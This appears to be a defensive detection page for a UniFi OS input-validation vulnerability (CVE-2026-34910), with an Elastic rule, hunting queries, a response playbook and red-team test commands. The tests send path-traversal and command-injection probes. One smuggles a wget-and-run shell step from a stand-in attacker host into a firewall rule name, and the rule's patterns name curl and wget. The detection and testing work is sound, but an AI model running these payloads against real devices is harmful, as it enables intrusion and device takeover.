Detect Ubiquiti UniFi OS Improper Input Validation Vulnerability (CVE-2026-34910) in Elastic Security
Detects exploitation attempts targeting CVE-2026-34910, an improper input validation vulnerability in Ubiquiti UniFi OS. This vulnerability is listed on CISA's Known Exploited Vulnerabilities catalog and allows attackers to send malformed or unexpected input to UniFi OS network management interfaces, potentially leading to unauthorized access, command execution, or device compromise. UniFi OS powers a wide range of Ubiquiti network devices including Dream Machines, Cloud Keys, and network switches used in enterprise and SMB environments.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where destination.port in (443, 8443, 8080, 80)
and (
url.path like~ "*../*" or
url.path like~ "*..%2f*" or
url.path like~ "*%00*" or
url.query like~ "*union+select*" or
url.query like~ "*exec(*" or
url.query like~ "*cmd=*" or
url.query like~ "*command=*" or
url.query like~ "*wget+*" or
url.query like~ "*curl+*"
)
] with runs=3Uses EQL sequence detection to identify repeated suspicious input patterns targeting UniFi OS management ports within a 5-minute window, filtering for known exploitation strings associated with CVE-2026-34910.
Data Sources
Required Tables
False Positives & Tuning
- Automated network monitoring tools generating repeated probe requests
- Load balancer health checks with URL-encoded special characters
- SIEM or SOAR playbooks that perform repeated API calls with complex parameters
- Misconfigured web crawlers indexing UniFi management interfaces
Other platforms for CVE-2026-34910
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-34910 Path Traversal Probe Against UniFi OS API
Expected signal: HTTP requests with path traversal sequences ('../', '%2f') in URL paths to port 443 should appear in web proxy logs, firewall logs, and IDS/IPS alerts
- Test 2CVE-2026-34910 Command Injection Parameter Fuzzing
Expected signal: HTTP GET requests containing command injection strings (cmd=, command=, exec(), eval()) in query parameters to port 8443 visible in network logs
- Test 3CVE-2026-34910 Authenticated API Manipulation with Malformed Input
Expected signal: POST/PUT requests with SQL injection and command injection strings in JSON body fields to UniFi OS API endpoints; authentication attempts with malformed username fields
References (4)
- https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-34910
Response Playbook
Triage
- Identify the source IP initiating suspicious requests and determine if it is an internal host, known scanner, or external threat actor by cross-referencing with your asset inventory and threat intelligence feeds.
- Examine the full HTTP request including URL, headers, body, and response codes to confirm the presence of exploitation patterns (path traversal, command injection, etc.) specific to CVE-2026-34910.
- Enumerate all Ubiquiti UniFi OS devices in the environment (Dream Machines, Cloud Keys, UniFi OS Consoles) and determine which devices received traffic from the suspicious source IP.
- Check CISA KEV status and patch availability for affected UniFi OS versions — prioritize unpatched devices as confirmed high-risk targets.
Containment
- Immediately isolate any UniFi OS device that shows signs of successful exploitation by removing it from production VLANs and placing it in a quarantine network segment for forensic analysis.
- Block the source IP at perimeter firewall and upstream network controls; if the source is an internal compromised host, isolate that host and initiate incident response procedures for lateral movement investigation.
Evidence Collection
- Collect UniFi OS system logs from the affected device via SSH (/var/log/messages, /var/log/daemon.log, UniFi controller logs) before any remediation actions that may overwrite log data.
- Capture full network packet captures (PCAP) for the suspicious traffic session to preserve evidence of the exact payload and any server responses indicating successful exploitation.
Escalation Criteria
- !Escalate immediately if HTTP response codes from the UniFi device indicate successful command execution (unexpected 200 OK responses to injection payloads, or evidence of new admin user creation in UniFi controller logs).
- !Escalate if lateral movement indicators are observed from the UniFi device IP — outbound connections to unusual destinations, new SSH sessions initiated from the device, or configuration changes not initiated by known administrators.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
UniFi OS system logs at /var/log/messages and /var/log/daemon.log containing HTTP request details and authentication events - >
UniFi controller database entries showing new admin account creation, configuration changes, or API token issuance following exploitation - >
Network flow records (NetFlow/IPFIX) showing unusual outbound connections from UniFi device IPs after the exploitation window
Tuning Guidance
Reduce false positives by building an allowlist of known UniFi controller IPs (both cloud-hosted and on-premises) that legitimately generate API traffic with complex parameters. Integrate with your asset management system to auto-tag UniFi device IPs and filter authorized management traffic from known admin source IPs and CIDR ranges. Increase confidence threshold by correlating HTTP alerts with follow-on behavioral indicators such as new admin account creation events in the UniFi controller or outbound connections from device IPs to non-standard destinations. Consider raising severity only when the response code indicates a successful exploitation outcome (2xx) rather than a rejected attempt (4xx/5xx).
Hunting Queries
Broad hunt for successful POST/PUT API calls to UniFi OS management endpoints over the past 7 days — identifies potentially successful exploitation sessions where the server returned success responses to API manipulation attempts.
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceVendor contains "Ubiquiti" or DeviceName contains "UniFi"
| where Activity contains "POST" or Activity contains "PUT"
| where RequestURL contains "/api/" or RequestURL contains "/proxy/"
| where ResponseCode in (200, 201, 204)
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod=Activity, ResponseCode, DeviceName
| order by TimeGenerated descindex=* sourcetype IN ("stream:http", "zeek_http", "pan:traffic") (dest_port IN (443, 8443, 8080, 80)) (host="*unifi*" OR host="*ubnt*" OR host="*ubiquiti*") http_method IN ("POST", "PUT") (uri_path="*/api/*" OR uri_path="*/proxy/*") status IN (200, 201, 204) | stats count by src_ip, dest_ip, dest_port, uri_path, http_method, status | sort - countAtomic Red Team Tests
Simulates an attacker probing the UniFi OS management API with path traversal sequences to test for improper input validation. This represents the initial reconnaissance phase of CVE-2026-34910 exploitation.
Command
TARGET_IP="<UNIFI_OS_IP>"; for PAYLOAD in '../etc/passwd' '..%2fetc%2fpasswd' '....//etc/passwd' '%2e%2e%2fetc%2fpasswd'; do echo "[*] Testing payload: $PAYLOAD"; curl -sk -o /dev/null -w "%{http_code} - %{url_effective}\n" "https://${TARGET_IP}:443/api/s/default/${PAYLOAD}" -H 'Accept: application/json'; sleep 1; doneCleanup
No cleanup required — read-only probe requests, no files created on targetExpected Telemetry
HTTP requests with path traversal sequences ('../', '%2f') in URL paths to port 443 should appear in web proxy logs, firewall logs, and IDS/IPS alerts
Expected Detection
Detection rule should trigger on the path traversal patterns in the URL targeting UniFi management port 443, with source IP generating 3+ suspicious requests within the detection window
Simulates an attacker injecting OS command strings into UniFi OS API query parameters to test for server-side command execution vulnerabilities resulting from improper input validation.
Command
TARGET_IP="<UNIFI_OS_IP>"; for CMD in 'cmd=id' 'command=whoami' 'exec(id)' 'eval(phpinfo())' 'ping+-c+1+127.0.0.1'; do echo "[*] Testing: $CMD"; curl -sk -o /dev/null -w "%{http_code}\n" "https://${TARGET_IP}:8443/api/s/default/rest/device?${CMD}" -H 'Content-Type: application/json'; sleep 1; doneCleanup
No cleanup required — GET requests with query parameters only, no persistent changes madeExpected Telemetry
HTTP GET requests containing command injection strings (cmd=, command=, exec(), eval()) in query parameters to port 8443 visible in network logs
Expected Detection
Detection should fire on command injection patterns in URL query strings targeting UniFi OS management port 8443, aggregating multiple attempts from same source IP
Simulates an authenticated exploitation attempt where an attacker with stolen UniFi credentials sends malformed JSON bodies containing injection payloads to UniFi OS API endpoints, bypassing input validation controls.
Command
TARGET_IP="<UNIFI_OS_IP>"; TOKEN="<STOLEN_API_TOKEN>"; curl -sk -X POST "https://${TARGET_IP}:443/api/auth/login" -H 'Content-Type: application/json' -d '{"username":"'; echo 'SELECT * FROM users; --","password":"test"}' | head -c 500; echo; curl -sk -X PUT "https://${TARGET_IP}:443/proxy/network/api/s/default/rest/firewallrule/" -H "Authorization: Bearer ${TOKEN}" -H 'Content-Type: application/json' -d '{"name":"test\'; wget http://attacker.example.com/shell.sh -O /tmp/s; sh /tmp/s; #","enabled":true}'Cleanup
Review UniFi OS firewall rule list via admin console and remove any test rules created; revoke the test API token usedExpected Telemetry
POST/PUT requests with SQL injection and command injection strings in JSON body fields to UniFi OS API endpoints; authentication attempts with malformed username fields
Expected Detection
Detection based on request body inspection (where available) should identify injection patterns; supplementary detection based on behavioral anomalies such as unusual firewall rule creation events should also trigger